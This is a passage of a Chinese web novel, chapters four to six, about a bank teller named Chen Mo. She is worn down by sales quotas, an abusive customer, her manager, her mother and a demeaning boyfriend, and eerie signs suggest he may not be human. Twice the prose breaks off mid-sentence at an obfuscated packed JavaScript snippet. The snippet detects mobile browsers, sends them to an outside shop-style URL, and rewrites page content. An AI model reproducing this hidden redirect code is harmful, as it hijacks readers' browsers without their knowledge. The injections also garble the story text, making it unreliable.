陈默出门的时候，天还没完全亮。 早上七点十分，按理说应该有点光了，但今天没有。天空是一种说不清的颜色——不是灰，不是黑，像被人用橡皮擦擦过一遍，只剩下一片脏兮兮的白。 云压得很低。 她站在单元楼下，抬头看了一眼。 那些云不是飘着的，是堆着的，像一大团棉花浸饱了水，随时要掉下来。云的边缘泛着一点黄，那种黄她只在夏天暴雨前见过，但现在不是夏天，六月还没过完，但也不是那种黄。 是另一种黄。 像旧照片被烟熏过的黄。 她低头往前走。 走了两步，又回头看了一眼。 那团云还在那儿，一动不动，好像就停在她头顶这一片。远处的天是正常的灰白，只有她头顶这一块，像被人画了个圈。 陈默把包往上提了提，加快脚步。 地铁站里人很多，早高峰，挤得像沙丁鱼罐头。她被人群推着往前走，刷卡，进站，等车，上车，站着，被挤在车门和另一个人的背包之间。 她扭头看窗外。 隧道里的灯一盏一盏往后闪，快得看不清。她盯着那些光，脑子一片空白。 昨天晚上的事，她没想。 今天早上洗手间里那瓶没动过的沐浴露，她也没想。 她想的是—— 等一下到行里，今天要办什么？ 她记不清了。昨天开会说的那些，她一句都没记住。 车到站，她被人群推下去，再推上楼，再推出站。 外面的天还是那样。 灰白里透着一层脏黄，云压得很低，像要掉下来。 她往前走。 走到银行门口的时候，她停了一下。 银行大楼是玻璃幕墙的，平时能照出人影。今天她站在那儿，往玻璃上看—— 玻璃里的天，是正常的。 灰白，有云，但没有那种脏黄色。 她扭头看头顶。 那团云还在。 只在玻璃外面。 不在玻璃里面。 陈默盯着玻璃看了三秒，然后推门进去。 二 晨会八点十分开。 行长姓周，五十多岁，女的，短发，说话快，走路更快，每天像踩着风火轮。陈默在行里五年，从没见过她慢下来。 “今天的工作安排——” 周行长站在白板前面，手里的笔敲得啪啪响。 “信用卡，五张。小陈，你那边有资源，今天必须完成。” 陈默点头。 “养老金账户，六个。这个月指标还差一大截，今天能开几个开几个。老张，你那边柜面多推推。” 老张点头。 “普惠提款，一户。小刘，你昨天联系那个客户，今天能不能签？” 小刘说能。 周行长扫了一圈，目光落在陈默身上。 “小陈，你那边的对公户，今天有没有进展？” 陈默愣了一下。 对公户？ “就你上次说的那个，”周行长翻了一下手里的本子，“你男朋友那个公司，不是说要在咱们行开户吗？办了没？” 陈默又愣了一下。 王志强。开户。 那天晚上他喝醉了，躺在沙发上说的——“你明天给我开个户，公司要用”。 她后来没办。 他没再提，她也没问。 “还没，”她说，“他最近忙。” 周行长看了她一眼，那一眼很短，但陈默看懂了。 没说什么，但什么都说了。 “行，抓紧。”周行长合上本子，“散会。” 人往外走的时候，老张碰了碰她的胳膊：“你男朋友那个公司，听说规模不小啊，真开过来，你这个季度指标就够了。” 陈默笑笑，没说话。 她回到工位，打开电脑，输入工号。 屏幕亮起来的那一刻，她想起周行长那句话。 “你这个季度指标就够了。” 够了。 这两个字，她听了五年。 每一季度，每个月，每一周，每一天——都在追这两个字。 够了。完成了。达标了。可以喘口气了。 但从来没够过。 永远差一点，永远还差一点，永远要再跑一步。 她盯着屏幕发呆。 老周的声音从柜台外传来：“陈默，今天外头这天可真够怪的，我刚才出去抽烟，头顶那块云，怎么老在那儿？” 陈默没回头。 “可能是要下雨。”她说。 “不像，”老周说，“下雨的云不是那样的。那颜色，我从来没见——” “老周，”陈默打断他，“帮我看看叫号机，好像卡纸了。” 老周“哦”了一声，走过去了。 陈默低下头，开始办业务。 三 上午十点半，人不多。 陈默刚办完一笔定期转存，正在敲凭证，手机震了一下。 她拿起来看。 王志强发来的微信： “晚上有局，不回去。” 她盯着那四个字，看了很久。 不回去。 三个字，他发了三年。 有时候是“晚上有局”，有时候是“晚点回”，有时候是“别等我了”。三年，她攒了上千条这样的微信，攒成一本看不见的账本，每一条都在告诉她：你不用等，你等不到的。 她把手机扣下。 继续敲凭证。 敲了两下，手停住了。 她想起一件事—— 昨天晚上，他是早回来的。 六点四十就回来了。 还躺在那儿看电视，身上有味儿，把她推地上，说“从来不在晚上洗澡”。 然后今天早上，他又消失了。 沐浴露没动过，毛巾是干的，他根本没回来睡。 那他昨晚在哪儿睡的？ 沙发上。 沙发垫上那个印子，她看见了。 很深。 像躺了一夜。 但如果是躺了一夜，为什么她早上起来的时候，他人不在？ 她不知道。 她把凭证敲完，叫下一个号。 四 中午吃饭的时候，陈默一个人坐在食堂角落。 餐盘里的饭没动几口，她用筷子戳着米饭，一粒一粒戳散，又堆起来，又戳散。 手机放在旁边，屏幕黑着。 她盯着那团米饭，脑子里乱糟糟的。 信用卡五张。 养老金账户六个。 普惠提款一户。 王志强那个户，要是开过来，指标就够了。 够了。 这两个字又在脑子里冒出来。 她放下筷子，拿起手机，打开王志强的微信对话框。 上次聊天记录还停在早上那条“晚上有局，不回去”。 她打了几个字： “你公司那个户，什么时候开？” 删掉。 又打： “周行长问开户的事。” 删掉。 又打： “今晚回来吗？” 盯着看了三秒，也删掉。 她把手机扣在桌上，低头继续戳米饭。 旁边桌坐了三个同事，正在聊什么八卦，笑声一阵一阵的。她没听清她们在笑什么，只听见一个名字——是某个网点的行长，好像出了什么事。 她没抬头。 戳着戳着，筷子停了。 她想起一件事。 上个月，她想分手那次。 那天她在行里被客户骂了一下午，回家路上哭了一路，到家门口擦干眼泪，想着这次一定要说。 推开门，王志强在家。 难得在家。 他看了她一眼，问：“怎么了？” 她说没事。 他说：“吃饭了没？我带了外卖。” 她看着那袋外卖，突然就说不出口了。 那天晚上她躺在床上，想：算了，今天太累了，改天吧。 改天。 改到今天。 改到无数个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387616|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天。 她不是没想过分手。想过很多次。 但每次想的时候，都会碰上一件事——业绩压力，客户投诉，周行长的眼神，季度末的指标，房租，水电，信用卡账单，还有那句“你离开他，你能去哪”。 王志强再烂，至少能给她一个住的地方。 至少能在她累得说不出话的时候，有一袋外卖在那儿。 至少能让周行长问“你男朋友那个户”的时候，她不用说自己没有男朋友。 至少。 这个词她用了三年。 至少他有房子，至少他不打人，至少他还会买早餐，至少—— 至少他是个人。 他是人吗？ 陈默攥紧筷子。 她不知道。 五 下午四点，陈默正在办一笔挂失业务。 客户是个老太太，耳朵背，说话要靠喊。陈默喊了十几分钟，终于把单子填完，老太太按手印的时候，手机震了。 她看了一眼。 王志强。 “晚上那个局，你一起来吧。” 陈默愣了一下。 三年了，他从来没叫她一起去过任何局。 “有个老板，做工程的，想认识一下银行的人。” 她盯着这行字。 做工程的。想认识银行的人。 她回： “几点？在哪？” 他发了一个定位，是家KTV的名字。 陈默盯着那个名字。 KTV。 她想起规则第五条。 如果他在KTV点了陪酒女，而那个女人朝你看了一眼——跑。 她把手机扣下，继续办老太太的业务。 手很稳。 心在跳。 六 下班的时候，天已经黑了。 陈默走出银行大门，站在台阶上，抬头看。 那团云还在。 比早上更低了，几乎要压到楼顶。脏兮兮的黄灰色，一动不动，像一只巨大的眼睛，盯着她。 她低头，往前走。 去KTV。 她不知道自己在想什么。 也许是想看看规则第五条会不会应验。也许是想看看王志强在外面到底是什么样。也许只是想—— 想确认一件事。 他是不是人。 她走到地铁站口，刚要下去，手机又震了。 王志强： “算了，你别来了。这帮人太糙，你来了也不自在。” 陈默站在地铁站口，看着那行字。 站了很久。 然后她转身，往回走。 那团云还跟着她。 她走一步，它跟一步。 她停下来，它也停下来。 陈默站在路灯下，抬头看着那片脏黄色的天空。 六月的夜风吹过来，应该是热的，但她后背一阵凉。 她突然想起一个词—— 阴天。 不是天气的阴天。 是别的。 是她头顶这片天，和别人头顶那片天，不是一个天。 她攥紧口袋里的那枚一分钱硬币，往家走。 电梯上行的时候，她看着电梯门里自己的倒影。 黑眼圈，干裂的嘴唇，凹下去的眼眶。 她看着那个人。 那个人也看着她。 电梯门开了。 她走出去，开门，开灯。 客厅空的。 沙发垫上那个印子还在。 她站在那儿，盯着那个印子，盯了很久。 然后她走到沙发前，坐下来。 坐在那个印子旁边。 她不知道自己在等什么。 等他回来？ 等天亮？ 等那团云散开？ 还是等自己终于有勇气，在下次想分手的时候，真的说出来。 她坐着。 客厅里只有空调嗡嗡的声音。 窗外那团脏黄色的云，压得很低很低，像要掉下来。 --- 第四章完 5. 第五章 电话 第五章电话 一 早上九点十七分，陈默办到当天第七笔业务。 客户是个中年男人，四十多岁，戴眼镜，穿一件灰色Polo衫，胸口别着一支钢笔。进来的时候手里拿着手机，一边走一边看，头都不抬。 “您好，请坐，请问办什么业务？” 男人坐到窗口前，把手机放下，从包里掏出一张纸，推过来。 “转账。” 陈默接过纸，看了一眼。 收款方是某出版社，账号一串，金额四万八。备注栏里写着一行字—— 《江河入海流》张晓峰版号ISBN978-7-5498-7654-2 她数了数。 书名六个字，作者名三个字，“版号”两个字，加上那一串字母数字—— 二十三个字。 陈默把纸放下，抬头看男人。 “先生，您这个转账备注，需要录入系统。但是我们系统限制，备注只能输十个字。” 男人抬起头。 “什么？” “备注只能输十个字，”陈默尽量让声音听起来正常，“您这个备注有二十多个字，输不进去。” 男人的眉头皱起来。 “输不进去？你们银行什么破系统？十个字能干什么？” 陈默深吸一口气。 “抱歉先生，这是系统限制，我也没办法。您看能不能精简一下？比如只输书名和作者——” “精简？”男人的声音拔高了，“你知道这是什么吗？这是版号！书号！我新书要出版了，出版社等着这笔钱确认版号，你让我精简？精简了人家怎么知道是哪本书？” “我理解，先生，但是系统——” “我不听系统！”男人一拍窗口，“我不管你们什么系统，我这钱今天必须转过去，备注必须写全，一个字都不能少！” 陈默攥紧手指。 她看了一眼叫号屏，后面还有八个人在等。 “先生，要不您先到旁边坐一下，我请示一下领导——” “我不坐！我就在这儿办！”男人的声音越来越大，“你们银行就是这样服务的？我存钱的时候怎么不说系统不行？我买理财的时候怎么不说十个字？现在我要转个账，你们跟我讲系统限制？” 后面排队的人开始探头看。 保安老周走过来，站在旁边，没吭声。 陈默站起来。 “先生，您别激动，我再试试——” “试什么试！”男人一把抓起窗口凹槽里的那张纸，朝陈默扔过来，“你他妈办不了就换个人来办！叫你们行长来！” 纸片落在陈默脸上，滑下去，飘到地上。 她低头看着那张纸，没动。 男人还在骂。 “什么玩意儿！银行养你们干什么吃的？十个字都输不进去，还好意思坐在这儿？我告诉你，我今天必须投诉你！工号多少？叫你们行长！现在就叫！” 他一边骂一边拍窗口，拍得玻璃窗嗡嗡响。拍了几下不过瘾，一把抓起旁边填单台上的签字笔，往桌上一摔。 笔弹起来，打在了陈默的脸上，随后滚到陈默脚边。 她低头看那支笔。 黑色的，圆珠笔，笔帽摔飞了，不知道滚到哪去了。 男人又抓起一沓单子，往填单台上一摔。 “什么破银行！什么破服务！” 老周上前一步。 “先生，您冷静一下——” “你谁啊？保安？滚一边去！” 老周没动，站在那儿，看着他。 男人瞪了老周一眼，又扭头看陈默。 “你站着干什么？办啊！今天不给我办好，我投诉死你！” 陈默张了张嘴。 她想说什么，但喉咙里像塞了一团棉花，什么都说不出来。 后面排队的人有人开始录像。 有人在嘀咕：“什么情况？” 有人说：“这柜员态度不行吧，客户发这么大火。” 有人说：“银行就这样，服务行业嘛，客户就是上帝。” 陈默听见了。 她都听见了。 她站着，脚边是那张被扔回来的纸，那只摔飞的笔，那沓被摔散的单子。 她不知道自己站了多久。 可能是三秒，可能是五秒。 然后她听见一个声音—— “怎么回事？” 周行长不知道什么时候过来了，站在窗口旁边，看了一眼男人，又看了一眼陈默。 “先生，您别激动，我是行长，有什么事跟我说。” 男人转向周行长，开始说。 说系统不行，说备注输不进去，说柜员态度差，说银行服务烂，说他新书要出版，出版社等着，说他必须投诉，说今天不给个说法绝不罢休。 周行长听着，点头，嗯嗯嗯，我理解，您说得对，是我们的问题。 听了五分钟。 然后她把陈默叫出来，让老张接手那笔业务。 “先生您稍等，我们马上给您办。”周行长说，“备注的事，我们想办法。您先坐一下，喝杯水。” 男人骂骂咧咧地坐到等候区去了。 周行长看了陈默一眼。 “你，跟我来。” 二 行长办公室不大，一张桌子，两把椅子，一个文件柜，窗户对着后面的停车场。 周行长坐下来，没让陈默坐。 陈默站在办公桌前，看着桌面上那一排文件夹。 “怎么回事？”周行长问。 陈默张了张嘴。 “备注……系统限制十个字，他那个备注二十多个字，输不进去，我让他精简一下，他就——” “就发火了？” 陈默点头。 周行长看着她，看了几秒。 “陈默，你在银行干几年了？” “五年。” “五年了，你还不知道怎么处理这种客户？” 陈默没说话。 周行长靠到椅背上。 “客户发火的时候，你该干什么？你站着干什么？等他骂完？等他摔东西？你不会说句软话？不会说‘先生对不起，我马上帮您请示领导’？非要等他闹成这样？” 陈默垂下眼睛。 “我……我说了，我说我请示一下领导——” “你说的是‘您先到旁边坐一下，我请示一下领导’，”周行长打断她，“你知道你这叫什么吗？你这叫把客户往外推。什么叫‘您先到旁边坐一下’？你是嫌他碍事？” 陈默攥紧手指。 “我不是那个意思——” “我知道你不是那个意思，但客户听着就是那个意思。”周行长叹了口气，“陈默，我跟你说过多少次了，服务行业，态度决定一切。你今天态度但凡好一点，他不至于发这么大脾气。” 陈默没说话。 周行长看了她一眼，翻了翻手边的本子。 “上周那个养老金账户，你完成了几个？” 陈默愣了一下。 “两……两个。” “两个？指标是六个。” “我知道，但是——” “信用卡呢？五张，完成了吗？” 陈默没说话。 周行长把本子合上。 “陈默，我不是要给你压力。但你这样下去不行。季度末了，指标还差一大截，客户还投诉，你说我怎么办？” 陈默站着，盯着桌面上那个文件夹。 “那个对公户，”周行长说，“你男朋友那个公司，到底开不开过来？” 陈默攥紧手指。 “他最近忙——” “忙？”周行长看着她，“陈默，我跟你说句实话。你在行里五年了，我待你不薄。但你这个业绩，真不行。你要是能把那个对公户拉过来，这个季度指标就过了。要是拉不过来……” 她没说完。 但陈默听懂了。 “行，你先出去吧。” 陈默转身要走。 “对了，”周行长在身后说，“刚才那个客户，回头写个情况说明。投诉的事，我先压着，但你要有个心理准备。” 陈默停了一下。 “我知道了。” 她推开门，走出去。 三 从行长办公室出来，陈默没回工位。 她拐进消防通道，关上门，在楼梯上坐下来。 楼梯间里只有一盏感应灯，灭了，黑漆漆的。她坐在那儿，靠着墙，盯着对面的墙壁。 墙壁是灰的，刷了半截绿漆，绿漆上面有一块污渍，不知道是什么时候蹭上去的。 她盯着那块污渍，盯了很久。 然后她掏出手机，打开通讯录，找到王志强的名字。 手指悬在屏幕上。 三秒。五秒。十秒。 她按下去。 嘟——嘟——嘟—— 接了。 “喂？”那边声音很吵，有人在说话，有酒杯碰撞的声音，有人在笑。 “王志强。”陈默开口。 “嗯？什么事？忙着呢。” 陈默张了张嘴。 “我……刚才被客户骂了。” 那边顿了一下。 “然后呢？” “行长找我谈话了。” “谈什么？” “业绩的事。还有那个对公户——” “行了行了，”王志强打断她，“我现在忙着呢，回头再说。” “可是——” 嘟——嘟——嘟—— 挂了。 陈默举着手机，看着屏幕上那行字。 通话结束 00:23 二十三秒。 她等了三年，打了这个电话，二十三秒。 她把手机攥在手里，攥得很紧。 感应灯灭了。 楼梯间一片黑。 她坐在黑暗里，没动。 四 晚上七点四十，陈默到家。 开门，开灯，客厅空的。 沙发垫上那个印子还在。 她站在门口，看着那个印子，看了很久。 然后她换鞋，放下包，走进卧室，躺在床上。 没开灯。没脱衣服。就那么躺着。 天花板是白的，月光照进来，有一点亮。她盯着那点亮，一动不动。 手机在口袋里震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387617|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下。 她没动。 又震了一下。 她掏出来看。 妈妈 两个字在屏幕上亮着。 她盯着那两个字，看了三秒，接起来。 “喂。” “陈默。” 那边是妈妈的声音，一开口就是那个调，不高不低，不冷不热，像在说今天吃什么。 “在忙吗？” “没有。” “下班了？” “嗯。” “吃饭了吗？” “还没。” 那边顿了一下。 “陈默，我问你件事。” 陈默没说话。 “你那个男朋友，王志强，你是不是还不打算分？” 陈默攥紧手机。 “妈——” “你别叫我妈。”那边打断她，“我就问你，分不分？” 陈默没说话。 “我跟你说过多少次了，那个人不靠谱。四十多岁了，不结婚，天天在外面应酬，手机里还藏着那些乱七八糟的——你以为我不知道？你以为我看不出来？” 陈默张了张嘴。 “他就是玩你，”妈妈的声音高了，“就是玩你！你还不明白吗？三年了，他带你见过父母吗？提过结婚吗？让你见过他朋友吗？什么都没有！你就是他养着玩的！” “妈——” “你别说话，让我说完。”妈妈的声音越来越快，“你知道别人怎么说你吗？说我女儿跟了个老男人，图人家钱，图人家房子，下贱！你以为你图到什么了？他给你什么了？就那个破房子，你住着就觉得自己值钱了？” 陈默攥紧手机，手指发白。 “妈，不是你想的那样——” “那是哪样？”妈妈冷笑一声，“陈默，我生你养你二十八年，就是让你给老男人当玩物的？你贱不贱啊？” 陈默张着嘴，说不出话。 那边顿了一下。 “行了，我今天就把话撂这儿。你要是不跟他分手，以后就别叫我妈。我就当没生过你这个女儿。” 嘟——嘟——嘟—— 挂了。 陈默举着手机，听着那一声一声的忙音。 忙音响了很久，然后停了。 屏幕暗下去。 她盯着那块暗下去的屏幕，盯了很久。 月光照进来，照在床上，照在她身上。 她躺着，一动不动。 不知道过了多久，手机又震了一下。 她低头看。 是王志强的微信： “晚上不回去了。你早点睡。” 她盯着那行字。 盯了很久。 然后她把手机扣在床上，闭上眼。 眼泪从眼角滑下来，流进耳朵里，痒痒的。 她没擦。 就那么躺着。 窗外的月光很白，很凉。 那团脏黄色的云不知道什么时候散了，露出后面干干净净的黑。 但她没看见。 她闭着眼。 眼泪一直流。 五 凌晨两点多，陈默醒了。 她不知道自己什么时候睡着的，也不知道睡了多久。手机还扣在床上，她拿起来看了一眼。 没有新消息。 她把手机放下，坐起来，看着窗外。 月亮已经移到另一边了，光照在衣柜上，切成一条一条。 她下了床，光着脚走到客厅。 沙发垫上那个印子还在。 她站在那儿，盯着那个印子。 然后她走到沙发前，蹲下来，伸手摸了摸那个印子。 软的。凉的。和别的地方一样凉。 当她摸到那个凹陷的时候，手指顿了一下。 那个凹陷的底部，有一点湿。 不是水的那种湿。 是别的。 像什么东西，刚刚躺过，刚刚离开，留下的那一点温度，那一点潮气。 陈默把手收回来，看着自己的手指。 月光下，什么也看不清。 她把手指凑到鼻子前，闻了闻。 有一股味道。 很淡，很淡。 像那天晚上他在她面前笑的时候，嘴里发出来的那种味道。 像什么东西，放得太久，已经开始烂了。 陈默站起来，退后一步。 她站在客厅中央，看着那张沙发，看着那个印子，看着那扇门。 门关着。 他不在。 但他躺过。 刚刚躺过。 她低头看自己的手。 那根手指上，好像还沾着什么。 她转身走进洗手间，打开水龙头，洗手。 水很凉，冲在手上，冲了很久。 她抬起头，看镜子里的自己。 黑眼圈，干裂的嘴唇，凹下去的眼眶。 还有眼睛下面，那两道干掉的泪痕。 她盯着那两道泪痕，盯了很久。 然后她低下头，继续洗手。 水哗哗地流。 流了很久。 --- 第五章完 6. 第六章 抓住 第六章抓住 一 星期五下午四点五十，陈默开始收拾东西。 工位上的文件夹归拢，签字笔插回笔筒，水杯洗了扣在杯架上。她做这些事的时候没什么表情，动作很慢，像一台设定好程序的机器。 电脑还没关。她盯着屏幕，等最后那笔业务办完的回执打印出来。 打印机吱吱嘎嘎响着，窗外透进来的光是那种周五下午特有的光——有点懒，有点软，让人觉得再坚持十分钟就能熬到周末了。 窗口外面已经没有客户了。大厅里空空荡荡，老周靠在门边打盹，空调嗡嗡响着，整个网点像一艘搁浅的船。 陈默盯着屏幕右下角的时间。 16:51。 还有九分钟。 九分钟就能下班了。九分钟就能回家了。九分钟就能躺到床上，什么都不想，什么都不干，就那么躺着。 她这两天累坏了。 不是身体累，是那种说不出来的累——心里堵着一团东西，吐不出来，咽不下去，就那么堵着。从那天被客户骂开始，从妈妈打那个电话开始，从发现他可能真的从来不洗澡开始，那团东西就一直堵着。 她试过深呼吸，没用。试过喝水，没用。试过告诉自己“别想太多”，更没用。 那团东西就在那儿。 压着她。 她盯着屏幕，盯着那行时间。 16:52。 打印机吐出最后一张回执，她撕下来，夹进文件夹里，正要关电脑—— 手机震了。 工作群。 她点开。 @所有人明天早上九点，行里集合。行领导组织外拓，全员参加，不得请假。 陈默盯着那行字，看了五秒。 明天早上九点。 周六。 外拓。 不得请假。 她慢慢把手机放下，盯着电脑屏幕。屏幕已经黑了，进入待机状态，只看得见自己的影子——一个模糊的人影，坐在那儿，一动不动。 她想起上周的外拓。穿着行服，站在商场门口，发传单，拉人办信用卡。站了六个小时，脚肿了一圈，办了四张卡，其中三张还是老张帮忙塞的。 这周又去。 下周还去。 每个月都去。 永远都去。 她叹了口气，把手机塞进口袋，站起来，拿起包，往外走。 老周在门口换班，看见她出来，打了个招呼。 “陈默，周末愉快啊。” 陈默点点头。 “嗯，周末愉快。” 她走出银行大门，天还亮着，太阳往西沉，把整条街染成橘红色。那团脏黄色的云早就散了，这几天都没再出现过，天是正常的天，蓝的，白的，该什么样就什么样。 但她总觉得有什么不对。 说不上来。 就是不对。 二 到家六点二十。 开门，开灯，客厅空的。 沙发垫上那个印子还在，但浅了一点，像是慢慢在恢复。她站在门口看了两眼，换鞋，放下包，走进卧室。 在床上坐了一会儿。 窗外能听见楼下的声音——小孩在跑，大人喊吃饭，自行车铃铛响。这些声音她听了三年，早就习惯了。以前不觉得有什么，今天听着，突然觉得那些声音离她很遥远。 她是住在这儿，但她不属于这儿。 她不知道自己属于哪儿。 坐了一会儿，她站起来，走进浴室，打开花洒。 热水冲下来的时候，她闭着眼，站在花洒下面，一动不动。水从头顶流到脚底，哗哗的声音盖住一切，她什么都不用想。 她想起规则第四条——真正的他，从不洗澡。 她想起王志强那天晚上的反应——你又不是不知道，我从来不在晚上洗澡。 她想起这几天观察到的——毛巾永远是干的，沐浴露刻度线没动过，地漏没有头发。 她想起那天早上，他说他早上洗，但她等了一早上，什么都没等到。 水还在冲。 她睁开眼，低头看自己的手。 手被热水冲得发红，皱巴巴的。 她突然想：我每天洗澡，我是人吗？ 当然是。 但为什么她越来越不确定了？ 关掉水，擦干，换好衣服，走出浴室。 客厅里还是空的。 窗外的天已经黑了，路灯亮着，把树影投在窗帘上，一晃一晃。 她坐在沙发上，拿起手机，看了一眼工作群。 没有新消息。 明天早上九点，外拓。 她把手机放下，靠着沙发，闭上眼。 脑子里乱七八糟的东西又开始往外冒。 明天的外拓。周行长的脸。那个扔纸的客户。妈妈说的那些话。王志强的眼睛。沙发垫上的印子。那瓶没动过的沐浴露。 还有那张纸条。 真正的他，从不洗澡。 她闭着眼，靠在沙发上，听窗外的声音。小孩不跑了，大人不喊了，只有偶尔路过的车声，嗡一声过去，又安静下来。 她快睡着的时候，门响了。 三 钥匙捅进锁孔的声音，拧开，推门。 陈默睁开眼，坐起来。 王志强走进来，手里拎着个塑料袋，不知道是什么，往茶几上一扔。然后他弯腰，把脚上的袜子一扯——扔在地上。再站起来，把外套脱了——扔在沙发上。衬衫解开两颗扣子，一屁股坐进沙发里，沙发发出一声闷响。 “倒洗脚水。” 陈默愣了一下。 “现在？” “废话，不现在什么时候？我累一天了。” 陈默看着他。 他确实像累了一天。脸有点红，眼睛有点肿，衬衫皱巴巴的，身上一股酒味、烟味还有不属于她的香水味混在一起的味道。啤酒肚挺着，领口敞着，头发乱糟糟的。 她站起来，走进卫生间，拿盆，接水。 热水兑冷水，手伸进去试了试，温的。她觉得应该差不多了，端着盆走出来，放在沙发前面。 王志强把脚伸进去。 刚沾到水，他就皱起眉头。 “这什么水？” “洗脚水啊。” “你管这叫洗脚水？”他把脚抽出来，水溅了一地，“温不拉几的，洗什么脚？重倒，要烫的。” 陈默低头看地上的水，又看他。 溅出来的水在瓷砖上漫开，一小片，映着天花板的灯。 “烫的？”她问。 “烫的。听不懂？” 她端起盆，走进卫生间，把水倒了，重新接。这次没兑冷水，直接开热水，烫得她手指一缩。她忍着烫，把盆端出去，放在他面前。 王志强把脚伸进去。 这回没说话。 泡了三秒，他开口了。 “饭呢？” 陈默站着。 “没做。” “没做？”他抬起头看她，“几点了？你回来半天了，饭都不做？” “我……我刚洗完澡。” “洗完澡就不能做饭了？你洗完澡手断了？” 陈默没说话。 王志强把脚从盆里抽出来，往沙发背上一靠，盯着她。 “陈默，你看看这屋里，脏成什么样了？地上这水——我刚弄洒的，行，算我的。但你看这茶几，这灰，这沙发上的衣服——你就不知道收一下？你就知道躺那儿玩手机？” 陈默顺着他的目光看过去。 茶几上确实有灰，薄薄一层。沙发上的衣服是他自己刚扔的。地上那滩水也是他弄洒的。 但她没说话。 王志强继续说。 “你说你一天到晚在银行坐着，能有多累？我外面跑一天，回来连口热饭都吃不上，还要自己端洗脚水——端了还是凉的。你说你会干什么？” 陈默站着，盯着地板。 地板上有水，映着天花板的灯，亮晶晶一小片。 “我每天回来，”王志强的声音越来越高，“累得跟狗一样，就想回家吃口热饭，洗个热水脚，躺下歇着。你呢？你干什么了？你就躺那儿等我回来伺候我？” 陈默攥紧手指。 “我没让你伺候——” “你没让？你什么都没干，不就是让我伺候吗？”他指着地上的盆，“这水，是我让你端的吧？饭，是我让你做的吧？你自己看看，你干成什么了？” 陈默张了张嘴，又闭上。 她不知道该说什么。 他说的是事实。水是她端的，饭她没做，屋里确实有点乱。但她刚下班，刚洗完澡，还没来得及—— 来不及什么？ 她也不知道。 他说完了。 客厅里安静下来。 只有空调嗡嗡的声音，和窗外偶尔路过的车声。 陈默还站着。 她不知道该说什么，该做什么。她只知道不能动，一动就可能出错，一出错他就会继续说，继续说下去她可能撑不住。 王志强盯着她看了几秒，然后收回目光，把脚重新伸进盆里。 热水冒着微微的热气。 他泡着脚，靠在沙发上，眼睛半闭着，像在享受。 陈默站着，不知道该走还是该留。 这时候，他又开口了。 “还有你这脸。” 陈默愣了一下。 王志强睁开眼，上下打量她。 “你自己照镜子看过没有？眼袋多重你知道吗？比刚认识你的时候胖了一圈吧？还有这痘——你脸上什么时候长过痘？” 陈默下意识抬手摸了一下脸。 下巴那里，确实有几颗痘，这几天长的。她自己也看见了，但没在意。 “你看看你，”王志强摇头，“跟三年前比，老了不止一星半点。人家找女朋友，都找年轻漂亮的。我找了你，你呢？你就这么给我长脸？” 陈默的手停在脸上。 老了。 他说她老了。 三年前她二十五，现在二十八。三年而已。 但他说的不是三年，是老了。 “你知道我那些哥们怎么说吗？”王志强继续，“他们问，你女朋友呢？怎么不带出来？我说，她啊，在家待着呢。他们问，漂亮吗？我说，还行吧。你知道什么叫‘还行吧’？就是拿不出手！” 陈默攥紧手指。 “你看看你自己，”他上下打量她，“穿的什么玩意儿？这睡衣，你穿三年了吧？领口都松了，还穿。头发，你就不能收拾一下？乱成什么样了？还有你这脸色，蜡黄蜡黄的，跟营养不良似的。” 他越说越起劲。 “我跟你讲，陈默，你别不知好歹。我外面多少人想跟我，我都看不上。你倒好，让你干点活你就摆个脸。你以为你是谁？” 陈默站着，一动不动。 她盯着地板上的那滩水。 水在慢慢变干，边缘已经有点干了，中间还有一小片亮晶晶的。 “我供你吃，供你住，供你花，”王志强的声音像钝刀子一样割过来，“你呢？你给我什么了？饭不会做，活不会干，脸还越来越老。你说我要你干什么？” 他说完了。 把脚从盆里抽出来，往地上一放。 “擦脚。” 陈默蹲下去，拿过毛巾，给他擦脚。 毛巾是干的，吸了水就变深色。她擦完一只，换另一只，动作很慢，很轻。 王志强低头看着她。 她感觉到他的目光，但没抬头。 擦完了。 她端着盆站起来，走进卫生间，把水倒了，盆放好，毛巾挂好。 走出来的时候，王志强已经躺在沙发上了，闭着眼，像睡着了。 她站在客厅中央，看着那张沙发，看着那个躺在上面的人。 然后她走过去，把地上的水擦了。 水是凉的。沾在抹布上，洇开一片深色。她拧干，再擦，再拧干，直到地板恢复原来的颜色。 然后她把沙发上的衣服捡起来，搭在椅背上。 又拿抹布，把茶几擦了。 灰是薄薄一层，一抹就掉。抹布上留下一条灰印子，她拿到水龙头下冲干净，拧干，挂好。 做完这些，她站在客厅中央，不知道该干什么。 一切都收拾好了。 和她刚回来时一样。 和她每天回来时一样。 和她三年来的每一天一样。 她走进卧室。 躺在床上，盯着天花板。 四 天花板是白的，晚上关了灯就看不清，但有路灯的光漏进来，能看见一个模糊的轮廓。那个轮廓是她每天睡前都要看的，看三年了，闭着眼都能画出来。 但她今天盯着它，脑子里乱糟糟的。 他说她老了。 眼袋重。胖了。起痘了。老了。 他说她拿不出手。 他说别人想跟他，他都看不上。 他说她不知好歹。 她摸着自己的脸，想着刚认识的时候。那时候她二十五，皮肤还行，没有眼袋，下巴不长痘。他那时候对她还挺好的，没骂过，没嫌过，还会买早餐。 那时候她觉得他有本事。四十岁，有自己的工程公司，有车有房，说话办事都透着那种“过来人”的底气。她觉得跟着他，以后不用愁了。 现在呢？ 三年。 三年她就老了。 那再过三年呢？三十一岁。再过六年呢？三十四岁。 